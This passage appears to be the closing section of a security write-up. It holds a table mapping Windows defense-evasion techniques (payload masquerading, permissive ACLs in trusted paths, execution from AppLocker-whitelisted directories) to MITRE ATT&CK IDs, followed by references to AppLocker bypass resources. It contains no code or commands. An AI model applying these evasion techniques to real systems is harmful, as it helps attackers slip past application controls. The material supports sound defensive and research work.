| Masquerading | T1036 | Naming payloads after legitimate Windows binaries |
| File System Permissions Weakness | T1574.010 | Exploiting overly-permissive ACLs in trusted paths |
| Defense Evasion via Trusted Path | T1218 | Executing from AppLocker-whitelisted directory |
References
- MITRE ATT&CK T1574 — Hijack Execution Flow
- MITRE ATT&CK T1574.001 — DLL Search Order Hijacking
- Oddvar Moe — writable Windows path research
- LOLBAS Project
- api0cradle — UltimateAppLockerByPassList
- Microsoft Docs — AppLocker Path Rules
- PayloadsAllTheThings — AppLocker Bypass